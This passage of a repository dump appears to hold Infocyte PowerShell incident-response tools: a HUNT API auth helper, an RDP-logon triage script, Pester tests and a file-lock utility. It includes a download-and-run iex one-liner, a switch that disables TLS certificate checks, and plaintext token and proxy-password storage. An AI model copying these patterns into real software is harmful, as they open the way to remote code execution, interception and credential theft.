| } 132 | 133 | Write-host "`n"$hostsSubmitted "suveys uploaded, waiting for analysis..." 134 | 135 | 136 | 137 | DO{ 138 | Start-Sleep -s 3 139 | 140 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null 141 | 142 | #check the status of the analysis by looking at the hostCount (will be populated as survey analysis completes) 143 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/scans/$scanId" -Method Get -ContentType "application/json" 144 | $hostsCompleted = $response.hostCount 145 | 146 | Write-Host "`n"$hostsCompleted " of " $hostsSubmitted "Completed" 147 | 148 | 149 | #Keep waiting and checking so long as $hostsCompleted is not null and != total number of submitted hosts 150 | } while (($hostsCompleted -ne $null) -and ($hostsCompleted -ne $hostsSubmitted)) 151 | 152 | Write-Host "Done." -------------------------------------------------------------------------------- /HUNT Powershell Module/auth.ps1: -------------------------------------------------------------------------------- 1 | # Helpers 2 | 3 | $sslverificationcode = @" 4 | using System.Net.Security; 5 | using System.Security.Cryptography.X509Certificates; 6 | public static class TrustEverything 7 | { 8 | private static bool ValidationCallback(object sender, X509Certificate certificate, X509Chain chain, 9 | SslPolicyErrors sslPolicyErrors) { return true; } 10 | public static void SetCallback() { System.Net.ServicePointManager.ServerCertificateValidationCallback = ValidationCallback; } 11 | public static void UnsetCallback() { System.Net.ServicePointManager.ServerCertificateValidationCallback = null; } 12 | } 13 | "@ 14 | 15 | function _DisableSSLVerification { 16 | Write-Verbose "Disabling SSL Verification!" 17 | if (-not ([System.Management.Automation.PSTypeName]"TrustEverything").Type) { 18 | Add-Type -TypeDefinition $sslverificationcode 19 | } 20 | [TrustEverything]::SetCallback() 21 | } 22 | 23 | 24 | # Generate an API token in the web console's profile or admin section. 25 | # You can save tokens and proxy info to disk as well with the -Save switch. 26 | function Set-ICToken { 27 | [cmdletbinding()] 28 | [alias("Set-ICInstance")] 29 | param( 30 | [parameter(Mandatory=$true, HelpMessage="Infocyte Cloud Instance Name (e.g. 'clouddemo') or Full URL of Server/API (e.g. https://CloudDemo.infocyte.com)'")] 31 | [ValidateNotNullOrEmpty()] 32 | [alias("HuntServer")] 33 | [String]$Instance, 34 | 35 | [parameter(HelpMessage="API Token from Infocyte App. Omit if using saved credentials.")] 36 | [String]$Token, 37 | 38 | [parameter(HelpMessage="Proxy Address and port: e.g. '192.168.1.5:8080'")] 39 | [String]$Proxy, 40 | [String]$ProxyUser, 41 | [String]$ProxyPass, 42 | 43 | [Switch]$DisableSSLVerification, 44 | 45 | [parameter(HelpMessage="Will save provided token and proxy settings to disk for future use with this Infocyte Instance.")] 46 | [Switch]$Save 47 | ) 48 | 49 | if ($DisableSSLVerification) { 50 | _DisableSSLVerification 51 | } 52 | Write-Verbose "Setting Security Protocol to TLS1.2" 53 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 54 | [System.Net.ServicePointManager]::MaxServicePointIdleTime = 60000 55 | 56 | if ($Instance -match "https://*") { 57 | $Global:HuntServerAddress = $Instance 58 | } elseif ($Instance -match ".*infocyte.com") { 59 | $Global:HuntServerAddress = "https://$Instance" 60 | } else { 61 | $Global:HuntServerAddress = "https://$Instance.infocyte.com" 62 | } 63 | Write-Verbose "Setting Global API URL to $Global:HuntServerAddress/api" 64 | 65 | if ($IsWindows -OR $env:OS -match "windows") { 66 | $credentialfile = "$env:appdata/infocyte/credentials.json" 67 | } 68 | else { 69 | $credentialfile = "$env:HOME/infocyte/credentials.json" 70 | } 71 | 72 | $Global:ICCredentials = @{} 73 | if (Test-Path $credentialfile) { 74 | (Get-Content $credentialfile | ConvertFrom-JSON).psobject.properties | ForEach-Object { 75 | $Global:ICCredentials[$_.Name] = $_.Value 76 | } 77 | } else { 78 | if (-NOT (Test-Path (Split-Path $credentialfile))) { 79 | New-Item -ItemType "directory" -Path (Split-Path $credentialfile) | Out-Null 80 | } 81 | } 82 | 83 | if ($Token) { 84 | # Set Token to global variable 85 | if ($Token.length -eq 64) { 86 | $Global:ICToken = $Token 87 | Write-Verbose "Setting Auth Token for $Global:HuntServerAddress to $Token" 88 | } else { 89 | Throw "Invalide token. Must be a 64 character string generated within your profile or admin panel within Infocyte HUNT's web console" 90 | return 91 | } 92 | } else { 93 | # Load from file 94 | if ($Global:ICCredentials[$Global:HuntServerAddress]) { 95 | Write-Verbose "Setting auth token from credential file: $credentialfile" 96 | $Global:ICToken = $Global:ICCredentials[$Global:HuntServerAddress] 97 | } else { 98 | Throw "No Token found for $($Global:HuntServerAddress) in credential file! Please provide credentials with -Save switch to save them to credential file first." 99 | } 100 | } 101 | 102 | if ($Proxy) { 103 | Write-Verbose "Infocyte API functions will use Proxy: $Proxy" 104 | $Global:Proxy = $Proxy 105 | if ($ProxyUser -AND $ProxyPass) { 106 | Write-Verbose "Infocyte API functions will now use Proxy User: $ProxyUser" 107 | $pw = ConvertTo-SecureString $ProxyPass -AsPlainText -Force 108 | $Global:ProxyCredential = New-Object System.Management.Automation.PSCredential ($ProxyUser, $pw) 109 | } 110 | } else { 111 | # Load from file 112 | $Global:Proxy = $Global:ICCredentials["Proxy"] 113 | if ($Global:Proxy) { 114 | Write-Verbose "Infocyte API functions will use Proxy config loaded from credential file: $($Global:Proxy)" 115 | } 116 | if ($Global:ICCredentials["ProxyUser"]) { 117 | $pw = ConvertTo-SecureString $Global:ICCredentials["ProxyPass"] -AsPlainText -Force 118 | $Global:ProxyCredential = New-Object System.Management.Automation.PSCredential ($Global:ICCredentials["ProxyPass"], $pw) 119 | } 120 | } 121 | 122 | #Test connection 123 | $ver = Get-ICAPI -Endpoint "Version" 124 | 125 | # Set initial default boxId (change with Set-ICBox) and test connection 126 | $box = Get-ICBox -Last 7 -Global 127 | 128 | if ($box) { 129 | Write-Verbose "Successfully connected to $Global:HuntServerAddress" 130 | $Global:ICCurrentBox = $box.id 131 | Write-Verbose "`$Global:ICCurrentBox is set to $($box.targetGroup)-$($box.name) [$($box.id)]" 132 | Write-Verbose "All analysis data & object retrieval will default to this box." 133 | Write-Verbose "Use Set-ICBox to change the default in this session." 134 | } else { 135 | Throw "Your connection to $Global:HuntServerAddress failed using Infocyte API URI: $Global:HuntServerAddress`nToken: $Global:ICToken`nProxy: $Global:Proxy`nProxyUser: $($Global:ICCredentials['ProxyUser'])" 136 | } 137 | 138 | 139 | if ($Save) { 140 | Write-Verbose "Saving Token and Proxy settings to credential file: $credentialfile" 141 | $Global:ICCredentials[$Global:HuntServerAddress] = $Global:ICToken 142 | if ($Proxy) { 143 | $Global:ICCredentials["Proxy"] = $Proxy 144 | if ($ProxyUser -AND $ProxyPass) { 145 | $Global:ICCredentials["ProxyUser"] = $ProxyUser 146 | $Global:ICCredentials["ProxyPass"] = $ProxyPass 147 | } 148 | } 149 | if (Test-Path $credentialfile) { 150 | # Archive current credential 151 | Write-Verbose "Previous credential file has been backed up." 152 | Copy-Item -Path $credentialfile -Destination "$($credentialfile)-OLD" 153 | } 154 | $Global:ICCredentials | ConvertTo-JSON | Out-File $credentialfile -Force 155 | Write-Verbose "Token, Hunt Server Address, and Proxy settings are stored on disk. Omit token and proxy arguments to use saved versions." 156 | } else { 157 | Write-Verbose "Token, Hunt Server Address, and Proxy settings are stored in global session variables for use in all IC cmdlets." 158 | } 159 | 160 | Return $true 161 | 162 | } 163 | -------------------------------------------------------------------------------- /RMMScripts/rdptriage.ps1: -------------------------------------------------------------------------------- 1 | #Run this like so: 2 | # (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/RMMScripts/rdptriage.ps1") | iex 3 | $temp = "~\Desktop\rdptriage" 4 | if (-NOT (Test-Path $temp)) { 5 | mkdir $temp 6 | } 7 | $startdate = (Get-date -hour 0 -minute 0 -second 0).AddDays(-20) 8 | function ConvertFrom-WinEvent { 9 | [cmdletbinding()] 10 | param( 11 | [parameter( 12 | Mandatory=$true, 13 | ValueFromPipeline=$true)] 14 | [Object]$Event 15 | ) 16 | 17 | PROCESS { 18 | $fields = $Event.Message.split("`n") #| Select-String "\w:" 19 | $event = new-object -Type PSObject -Property @{ 20 | EventId = $Event.Id 21 | TimeCreated = $Event.TimeCreated 22 | Message = $Event.Message 23 | } 24 | $fields | % { 25 | $line = $_.ToString() 26 | if ($line -match "^\w.*?:") { 27 | $addtoarray = $false 28 | $m = $line -split ":" 29 | Write-Verbose "Found Match at Root. $($m[0]): $($m[1])" 30 | if ($m[1] -AND $m[1] -notmatch "^\s+$") { 31 | $base = $false 32 | $m[1] = $m[1].trim() 33 | if ($m[1] -match "^0x[0-9a-fA-F]+" ) { $m[1] = [int]$m[1]} 34 | if ($m[1] -match "^\d+$" ) { $m[1] = [int]$m[1]} 35 | $event | Add-Member -MemberType NoteProperty -Name $m[0] -Value $m[1]; 36 | } else { 37 | $base = $true 38 | $event | Add-Member -MemberType NoteProperty -Name $m[0] -Value (New-Object -Type PSObject); 39 | } 40 | } 41 | elseif ($Base -AND $m[0] -AND ($line -match '^\t{1}\w.*?:')) { 42 | Write-Verbose "sub: $line" 43 | $m2 = $line.trim() -split ":",2 44 | $m2[1] = $m2[1].trim().trim("{}") 45 | if ($m2[1] -match "^0x[0-9a-fA-F]+" ) { $m2[1] = [int]$m2[1]} 46 | if ($m2[1] -match "^\d+$" ) { $m2[1] = [int]$m2[1]} 47 | Write-Verbose "Found submatch off $($m[0]). $($m2[0]) : $($m2[1])" 48 | $event."$($m[0])" | Add-Member -MemberType NoteProperty -Name $m2[0] -Value $m2[1]; 49 | } 50 | elseif ($m -AND $m[0] -AND ($line -match '^\t{3}\w.*')) { 51 | Write-Verbose "sub: $line" 52 | $m2 = $line.trim() 53 | if ($m2 -match "^0x[0-9a-fA-F]+" ) { $m2 = [int]$m2} 54 | if ($m2 -match "^\d+$" ) { $m2 = [int]$m2} 55 | Write-Verbose "Found submatch off $($m[0]). $($m2) : $($m2)" 56 | if (-NOT $addtoarray) { 57 | $event."$($m[0])" = @($event."$($m[0])") 58 | $event."$($m[0])" += $m2; 59 | $addtoarray = $true 60 | } else { 61 | $event."$($m[0])" += $m2; 62 | } 63 | } 64 | elseif ($line -AND $line -notmatch "^\s+$") { 65 | $base = $false 66 | $addtoarray = $false 67 | if ($line -notmatch "(^\w.*?\.\s?$|^\s-\s\w.*)") { Write-Warning "Unexpected line: $_" } 68 | } 69 | } 70 | return $event 71 | } 72 | } 73 | 74 | $RDP_Logons = Get-WinEvent -FilterHashtable @{logname="security";id=4624; StartTime=$startdate} -ea 0 | where { 75 | $_.Message -match 'logon type:\s+(10|7)' -AND $_.Message -notmatch "Source Network Address:\s+LOCAL" } | ConvertFrom-WinEvent | foreach-object { 76 | new-object -Type PSObject -Property @{ 77 | EventId = $_.EventId 78 | TimeCreated = $_.TimeCreated 79 | SourceIP = $_."Network Information"."Source Network Address" 80 | Username = $_."New Logon"."Account Name" 81 | Domain = $_."New Logon"."Account Domain" 82 | LogonType = if ($_."Logon Information"."Logon Type") {$_."Logon Information"."Logon Type"} else { $_."Logon Type" } 83 | ElevatedToken = $_."Logon Information"."Elevated Token" #Windows10/2016+ 84 | SecurityId = $_."New Logon"."Security ID" 85 | LogonId = [int]$_."New Logon"."Logon ID" 86 | } 87 | } | where { $_.SecurityId -match "S-1-5-21" -AND $_.SourceIP -ne "LOCAL" -AND $_.SourceIP -ne "-" -AND $_.SourceIP -ne "::1" } | sort-object TimeCreated -Descending | 88 | Select-object TimeCreated, EventId, SourceIP, ElevatedToken, SecurityId, LogonId, Username, Domain, @{N='LogonType';E={ 89 | switch ([int]$_.LogonType) { 90 | 2 {'Interactive (local) Logon [2]'} 91 | 3 {'Network Connection (i.e. shared folder) [3]'} 92 | 4 {'Batch [4]'} 93 | 5 {'Service [5]'} 94 | 7 {'Unlock/RDP Reconnect [7]'} 95 | 8 {'NetworkCleartext [8]'} 96 | 9 {'NewCredentials (local impersonation) [9]'} 97 | 10 {'RDP [10]'} 98 | 11 {'CachedInteractive [11]'} 99 | default {"LogonType Not Recognised: $($_.LogonType)"} 100 | } 101 | } 102 | } 103 | 104 | #This is just a connection attempt event, very noisy and not as useful 105 | $RDP_RemoteConnectionManager = Get-WinEvent -FilterHashtable @{ logname='Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational'; ID=1149; StartTime=$startdate } -ea 0 | 106 | where { $_.Message -notmatch "Source Network Address:\s+LOCAL" } | ConvertFrom-WinEvent | foreach-object { 107 | new-object -Type PSObject -Property @{ 108 | EventId = $_.EventId 109 | TimeCreated = $_.TimeCreated 110 | SourceIP = $_."Source Network Address" 111 | Username = $_."User" 112 | Domain = $_."Domain" 113 | } 114 | } | where { $_.SourceIP -ne "LOCAL" -AND $_.SourceIP -ne "-" -AND $_.SourceIP -ne "::1" } | sort TimeCreated -Descending | Select TimeCreated, EventId, SourceIP, Username, Domain 115 | 116 | $RDP_LocalSessionManager = Get-WinEvent -FilterHashtable @{ logname='Microsoft-Windows-TerminalServices-LocalSessionManager/Operational'; ID=21,24,25; StartTime=$startdate } -ea 0 | 117 | where { $_.Message -notmatch "Source Network Address:\s+LOCAL"} | ConvertFrom-WinEvent | foreach-object { 118 | new-object -Type PSObject -Property @{ 119 | EventId = $_.EventId 120 | TimeCreated = $_.TimeCreated 121 | SourceIP = $_."Source Network Address" 122 | UserName = $_."User" 123 | Action = $_."Remote Desktop Services" 124 | } 125 | } | where { $_.SourceIP -ne "LOCAL" -AND $_.SourceIP -ne "::1" } | sort TimeCreated -Descending | Select TimeCreated, EventId, SourceIP, Username, Action 126 | 127 | 128 | $RDP_Processes = Get-WinEvent -FilterHashtable @{logname='security';id=4688; StartTime=$startdate} -ea 0 | where { $_.Message -match "Creator Subject:\s+Security ID:\s+S-1-5-21" } | 129 | ConvertFrom-WinEvent | where { $RDP_Logons.LogonId -contains $_."Creator Subject"."Logon ID" } | foreach-object { 130 | $LogonId = $_."Creator Subject"."Logon ID"; 131 | $Session = $RDP_Logons | where-object { $_.LogonId -eq $LogonId }; 132 | $SecurityId = $_."Creator Subject"."Security ID" 133 | if ($SecurityId -ne $Session.SecurityId) { Write-Error "SecurityIds do not match! ProcessSecurityId=$($_."Security ID"), SessionSecurityId=$($Session.SecurityId)" } 134 | 135 | new-object -Type PSObject -Property @{ 136 | EventId = $_.EventId 137 | TimeCreated = $_.TimeCreated 138 | SecurityId = $_."Creator Subject"."Security ID" 139 | LogonId = $_."Creator Subject"."Logon ID" 140 | Username = $_."Creator Subject"."Account Name" 141 | Domain = $_."Creator Subject"."Account Domain" 142 | ProcessId = $_."Process Information"."New Process ID" 143 | ParentProcessId = $_."Process Information"."Creator Process ID" 144 | ParentProcessPath = $_."Process Information"."Creator Process Name" 145 | ProcessPath = $_."Process Information"."New Process Name" 146 | Commandline = $_."Process Information"."Process Command Line" 147 | LogonType = $Session.LogonType 148 | SourceIP = $Session.SourceIP 149 | SessionTimeCreated = $Session.TimeCreated 150 | } 151 | $proc 152 | } | sort TimeCreated -Descending | Select TimeCreated, EventId, SourceIP, SessionTimeCreated, LogonType, LogonId, ProcessId, ProcessPath, Commandline, SecurityId, Username, Domain, ParentProcessId, ParentProcessPath 153 | 154 | $RDP_Logons | export-csv $temp\RDP_Logons.csv -NoTypeInformation -Force 155 | $RDP_RemoteConnectionManager | export-csv $temp\RDP_RemoteConnectionManager.csv -NoTypeInformation -Force 156 | $RDP_LocalSessionManager | export-csv $temp\RDP_LocalSessionManager.csv -NoTypeInformation -Force 157 | $RDP_Processes | export-csv $temp\RDP_Processes.csv -NoTypeInformation -Force 158 | Write-Host "Find output here: $temp" 159 | invoke-item $temp -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/scan.test.ps1: -------------------------------------------------------------------------------- 1 | 2 | Describe "ScanSetup" { 3 | 4 | It "Creates Default ScanOptions" { 5 | $r = New-ICScanOptions 6 | $r.process | Should -Be $true 7 | $r.installed | Should -Be $false 8 | } 9 | 10 | It "Creates Empty ScanOptions" { 11 | $r = New-ICScanOptions -Empty 12 | $r.process | Should -Be $false 13 | $r.installed | Should -Be $false 14 | } 15 | 16 | It "Creates Custom ScanOptions" { 17 | $r = New-ICScanOptions -Options process,account,driver 18 | $r.process | Should -Be $true 19 | $r.account | Should -Be $true 20 | $r.driver | Should -Be $true 21 | $r.application | Should -Be $false 22 | $r.artifact | Should -Be $false 23 | $r.installed | Should -Be $false 24 | 25 | } 26 | } 27 | 28 | Describe "ICFindHosts and ICScan" { 29 | BeforeAll { 30 | $Address = Get-ICAddress -where @{ hostname = $Testhost } | where { $_.queryId } | select -First 1 31 | $TgId = $Address.targetId 32 | $TgId | Should -Match $GUID_REGEX 33 | $TG = Get-ICTargetGroup -Id $TgId 34 | $TG | Should -Not -Be $null 35 | $Opts = New-ICScanOptions -Options process, account 36 | } 37 | 38 | AfterEach { 39 | if ($r.userTaskId) { 40 | Start-Sleep 2 41 | Invoke-ICAPI -Method POST -endpoint "userTasks/$($r.userTaskId)/cancel" 42 | } 43 | $r = $null 44 | } 45 | AfterAll { 46 | $tasks = Get-ICTask -where @{ status = "Active" } 47 | $tasks | ? { $_.id } | % { 48 | Invoke-ICAPI -Method POST -endpoint "userTasks/$($_.id)/cancel" 49 | } 50 | } 51 | 52 | It "Invokes an enumeration on a target group" { 53 | $r = Invoke-ICFindHosts -TargetGroupId $TgId 54 | $r.userTaskId | Should -Match $GUID_REGEX 55 | } 56 | 57 | It "Invokes a scan on a target group" { 58 | $r = Invoke-ICSCan -TargetGroupId $TgId 59 | $r.userTaskId | Should -Match $GUID_REGEX 60 | } 61 | 62 | It "Invokes a scan on a target group with a filter" { 63 | $r = Invoke-ICSCan -TargetGroupId $TgId -where @{ id = $Address.id } 64 | $r.userTaskId | Should -Match $GUID_REGEX 65 | } 66 | 67 | It "Returns null on a scan on a target group with an unmatched filter" { 68 | $r = Invoke-ICSCan -TargetGroupId $TgId -where @{ hostname = "fake" } 69 | $r | Should -Be $null 70 | } 71 | 72 | It "Task errors on a scan on a target group with a illegal filter" { 73 | $r = Invoke-ICSCan -TargetGroupId $TgId -where @{ id = "fake" } 74 | $r2 = $r | Get-ICTask 75 | $r2.status | Should -Be "Error" 76 | } 77 | 78 | It "Invokes a scan on a target group with options" { 79 | $r = Invoke-ICSCan -TargetGroupId $TgId -ScanOptions $Opts 80 | $r.userTaskId | Should -Match $GUID_REGEX 81 | } 82 | 83 | } 84 | 85 | Describe "ICScanTarget and ICResponse" { 86 | BeforeAll { 87 | $Ext = Get-ICExtension -where @{ name = "Terminate Process" } 88 | } 89 | AfterEach { 90 | if ($r.userTaskId) { 91 | Start-Sleep 3 92 | Invoke-ICAPI -Method POST -endpoint "userTasks/$($r.userTaskId)/cancel" 93 | Start-Sleep 1 94 | $r = $null 95 | } 96 | $task = $null 97 | } 98 | AfterAll { 99 | $tasks = Get-ICTask -where @{ status = "Active" } 100 | $tasks | ? { $_.id } | % { 101 | Invoke-ICAPI -Method POST -endpoint "userTasks/$($_.id)/cancel" 102 | } 103 | } 104 | 105 | It "Invokes a scan on a single target" { 106 | $r = Invoke-ICScanTarget -target $testhost 107 | $r.userTaskId | Should -Match $GUID_REGEX 108 | Start-Sleep 2 109 | $task = Get-ICTask -id $r.userTaskId 110 | $task.status | Should -Be "Active" 111 | } 112 | 113 | It "Invokes a response on a target by extensionId" { 114 | $r = Invoke-ICResponse -target $testhost -ExtensionId $ext.id 115 | $r.userTaskId | Should -Match $GUID_REGEX 116 | } 117 | 118 | It "Invokes a response on a target by extensionName" { 119 | $r = Invoke-ICResponse -target $testhost -ExtensionName "Terminate Process" 120 | $r.userTaskId | Should -Match $GUID_REGEX 121 | } 122 | 123 | It "Returns null for a scan on a non-existant target" { 124 | $r = Invoke-ICScanTarget -target "fake" 125 | $r.userTaskId | Should -Be $null 126 | } 127 | 128 | It "Throws on non-existant extensionId" { 129 | { $r = Invoke-ICResponse -target $testhost -ExtensionId "1ffd7a3a-ba60-4414-8991-52aa54615e73" } | Should -Throw 130 | $Error[0].Exception.Message | Should -Match "Extension with id 1ffd7a3a-ba60-4414-8991-52aa54615e73 does not exist!" 131 | } 132 | 133 | It "Throws error on non-existant 134 | extensionName" { 135 | { $r = Invoke-ICResponse -target $testhost -ExtensionName "fake" } | Should -Throw 136 | $Error[0].Exception.Message | Should -Match "Extension with name fake does not exist!" 137 | } 138 | } 139 | 140 | Describe "ICScanTarget Results" { 141 | BeforeAll { 142 | $a = Get-ICAlert | select -Last 1 143 | } 144 | AfterEach { 145 | $results = $null 146 | } 147 | AfterAll { 148 | $tasks = Get-ICTask -where @{ status = "Active" } 149 | $tasks | ? { $_.id } | % { 150 | Invoke-ICAPI -Method POST -endpoint "userTasks/$($_.id)/cancel" 151 | } 152 | } 153 | 154 | It "Invokes a scan on a single target" { 155 | $scan = Invoke-ICScanTarget -target $testhost 156 | $scan.userTaskId | Should -Match $GUID_REGEX 157 | Start-Sleep 5 158 | $task = Get-ICTask -id $scan.userTaskId 159 | $task.status | Should -Be "Active" 160 | $task.data.scanId | Should -Match $GUID_REGEX 161 | } 162 | 163 | It "Gets scan status" { 164 | Start-Sleep 1 165 | $Task = Get-ICTask | select -Last 1 166 | $task.status | Should -Be "Active" 167 | $task.data.scanId | Should -Match $GUID_REGEX 168 | } 169 | 170 | It "Gets scan results" { 171 | $results = Get-ICScan -id $a.scanId 172 | $results.completedOn | Should -Not -Be $null 173 | $results.hostCount | Should -Be 1 174 | } 175 | 176 | It "Gets hostScan results from Get-ICHostScanResults" { 177 | $results = Get-ICHostScanResult -scanId $a.scanId -Hostname PegasusActual 178 | $results.hostname | Should -Be $testhost 179 | $results.success | Should -Be $True 180 | } 181 | 182 | } 183 | 184 | Describe "ICResponse Results" { 185 | BeforeAll { 186 | $Ext = Get-ICExtension -where @{ name = "Terminate Process" } 187 | $r = Get-ICObject -Type Extension -AllInstances -where @{ name = "Terminate Process"; hostname = $testhost } | select -Last 1 188 | $r.threatStatus | Should -Match "Good|Unknown" 189 | $r.output | Should -Not -Be $Null 190 | } 191 | AfterEach { 192 | $results = $null 193 | } 194 | AfterAll { 195 | $tasks = Get-ICTask -where @{ status = "Active" } 196 | $tasks | ? { $_.id } | % { 197 | Invoke-ICAPI -Method POST -endpoint "userTasks/$($_.id)/cancel" 198 | } 199 | } 200 | 201 | It "Invokes a response on a target by extensionName" { 202 | $r2 = Invoke-ICResponse -target $testhost -ExtensionName "Terminate Process" 203 | $r2.userTaskId | Should -Match $GUID_REGEX 204 | Start-Sleep 5 205 | $task = Get-ICTask -id $r.userTaskId 206 | $task.status | Should -Be "Active" 207 | } 208 | 209 | It "Gets scan metadata" { 210 | $results = Get-ICScan -id $r.scanId 211 | $results.hostCount | Should -Be 1 212 | } 213 | 214 | It "Gets response results with Get-ICResponseResult" { 215 | $results = Get-ICResponseResult -ScanId $r.scanId -hostname $testhost 216 | $results.extensionId | Should -Be $ext.id 217 | $results.success | Should -Be $true 218 | $results.threatStatus | Should -Match "Good|Unknown" 219 | } 220 | 221 | } 222 | 223 | 224 | 225 | -------------------------------------------------------------------------------- /Utilities/Get-LockingProcs.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Import this file using dot sourcing: 3 | PS> . ~\Downloads\Get-LockingProcs.ps1 4 | 5 | Then run it using one of the below examples 6 | #> 7 | 8 | Function Get-LockingProcs { 9 | <# 10 | .SYNOPSIS 11 | Get list of processes locking a file. 12 | .DESCRIPTION 13 | This function returns a list of processes discovered to be locking a specified file. It leverages the SysInternals tool "handle.exe". 14 | 15 | If "handle.exe" is not found in "$env:temp\sysinternals\", the function will attempt to download it. If the download fails, the function will throw an exception. 16 | .PARAMETER Path 17 | Path(s) to potentialy locked file(s). 18 | .INPUTS 19 | Path(s) can be provided via pipeline. 20 | .OUTPUTS 21 | [PSCustomObject]@{ 22 | Name 23 | PID 24 | ProcessPath 25 | Commandline 26 | Type 27 | Owner 28 | Path 29 | } 30 | .EXAMPLE 31 | PS> Get-LockingProcs "c:\users\TestUser\Documents\Spreadsheet.xlsx" 32 | 33 | Name PID Owner Commandline 34 | ---- --- ----- ----------- 35 | agent 58312 NT AUTHORITY\SYSTEM C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\agent.exe --service 36 | 37 | .EXAMPLE 38 | PS> dir C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\ | Get-LockingProcs 39 | 40 | Get-LockingProcs : Searching for handles to [C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\logs] 41 | Get-LockingProcs : Found 2 unique processes with locks on [C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\logs] 42 | 43 | Name PID Owner Commandline 44 | ---- --- ----- ----------- 45 | agent 25560 NT AUTHORITY\SYSTEM "C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\agent.exe" datto-av datto_av-0szJjdKK VT3Ty1NqWjqnENKUlSRgfrVo 46 | agent 58312 NT AUTHORITY\SYSTEM C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\agent.exe --service 47 | 48 | 49 | Get-LockingProcs : Searching for handles to [C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\rwd] 50 | Get-LockingProcs : Found 1 unique processes with locks on [C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\rwd] 51 | 52 | Name PID Owner Commandline 53 | ---- --- ----- ----------- 54 | RWDWrapper 50972 NT AUTHORITY\SYSTEM "C:\ProgramData\CentraStage\AEMAgent\RMM.AdvancedThreatDetection\rwd\RWDWrapper.exe" -edr -productId "Datto EDR" -clientId dattoc8157-ccd9778b-e8d8-45da-bf73-4b5266ac34a.. 55 | 56 | .LINK 57 | Inspired by: https://raw.githubusercontent.com/TheKojukinator/KojukiShell.Core/master/KojukiShell.Core/public/Get-LockingProcs.ps1 58 | https://stackoverflow.com/questions/958123/powershell-script-to-check-an-application-thats-locking-a-file 59 | #> 60 | [CmdletBinding()] 61 | [OutputType([PSCustomObject])] 62 | param( 63 | [Parameter(Position = 0, Mandatory, ParameterSetName = 'Path', ValueFromPipeline, ValueFromPipelineByPropertyName)] 64 | [ValidateNotNullorEmpty()] 65 | [Alias("PSPath")] 66 | [string] $Path, 67 | 68 | # Specifies a literal export location path. 69 | [Parameter(Mandatory, ParameterSetName = 'LiteralPath', ValueFromPipeline, ValueFromPipelineByPropertyName)] 70 | [ValidateNotNullorEmpty()] 71 | [String] $LiteralPath 72 | ) 73 | begin { 74 | 75 | try { 76 | # check if the tool is present, if not, attempt to download it from the web 77 | $sysinternalsFolder = "$env:temp\sysinternals" 78 | $exe = "$sysinternalsFolder\handle.exe" 79 | if (!(Test-Path $exe -ErrorAction Ignore)) { 80 | Write-Host -ForegroundColor Cyan "Get-LockingProcs : [$exe] not found, attempting to download" 81 | if (!(Test-Path $sysinternalsFolder -ErrorAction Ignore)) { New-Item -ItemType Directory $sysinternalsFolder -ErrorAction Ignore | Out-Null } 82 | Invoke-WebRequest -Uri "https://live.sysinternals.com/handle.exe" -OutFile $exe 83 | if (!(Test-Path $exe -ErrorAction Ignore)) { 84 | throw "Can't find [$exe]" 85 | } 86 | } 87 | Write-Host -ForegroundColor Cyan "Get-LockingProcs : Using [$exe]" 88 | $outputname = "get-lockingprocs_$(Get-Date -Format "yyyyMMdd_HHmm_K")UTC.txt" 89 | "Get-LockingProcs run on [$(Get-Date -Format "yyyy-MM-dd HH:mm K")] Using [$exe]" | Out-file .\$outputname -Force 90 | 91 | } catch { 92 | if (!$PSitem.InvocationInfo.MyCommand) { 93 | $PSCmdlet.ThrowTerminatingError( 94 | [System.Management.Automation.ErrorRecord]::new( 95 | (New-Object "$($PSItem.Exception.GetType().FullName)" ( 96 | "$($PSCmdlet.MyInvocation.MyCommand.Name) : $($PSItem.Exception.Message)`n`nStackTrace:`n$($PSItem.ScriptStackTrace)`n" 97 | )), 98 | $PSItem.FullyQualifiedErrorId, 99 | $PSItem.CategoryInfo.Category, 100 | $PSItem.TargetObject 101 | ) 102 | ) 103 | } else { $PSCmdlet.ThrowTerminatingError($PSitem) } 104 | } 105 | } 106 | process { 107 | if ($PSCmdlet.ParameterSetName -eq 'Path') { 108 | # Resolve any relative paths 109 | $Path = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($Path); 110 | } else { 111 | $Path = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($LiteralPath); 112 | } 113 | 114 | try { 115 | 116 | Write-Host -ForegroundColor Cyan "`nGet-LockingProcs : Searching for handles to [$path]" 117 | 118 | # execute handle.exe and get output, pass arguments to accept license and hide banner 119 | $data = & $exe -u -accepteula -nobanner $path 120 | if ($data.count -eq 1){ Write-Verbose $data } else { $data | % { Write-Verbose $_ } } 121 | # define regex including capture groups for each column we are interested in 122 | # unbroken regex: '^(?[\s\w\\\._-]+\.\w+)\s+pid:\s+(?\d+)\s+type:\s+(?\w+)\s+(?[\w\\\._-]+)\s+\w+:\s+(?.*)$' 123 | [string]$pattern = '^' + # start of line 124 | '(?[\s\w\\\._-]+\.\w+)' + # name of the process, allow spaces, periods, dashes, and underscores 125 | '\s+pid:\s+' + # in-between data before pid 126 | '(?\d+)' + # pid of the process, allow numbers 127 | '\s+type:\s+' + # in-between data before type 128 | '(?\w+)' + # type of handle, allow alphanumeric 129 | '\s+' + # in-between data before user 130 | '(?(NT )?[\w\\\._-]+)' + # user bound to handle, allows spaces, periods, dashes, underscores, and backslashes if domain is specified 131 | '\s+\w+\s+' + # in-between data before path 132 | '(?.*)' + # path to the locked file 133 | '$' # end of line 134 | # declare array to hold locking procs 135 | $lockingProcs = @() 136 | # iterate over the data lines and try to pull data out via pattern 137 | foreach ($line in $data) { 138 | # remove empty lines 139 | if ($line -match 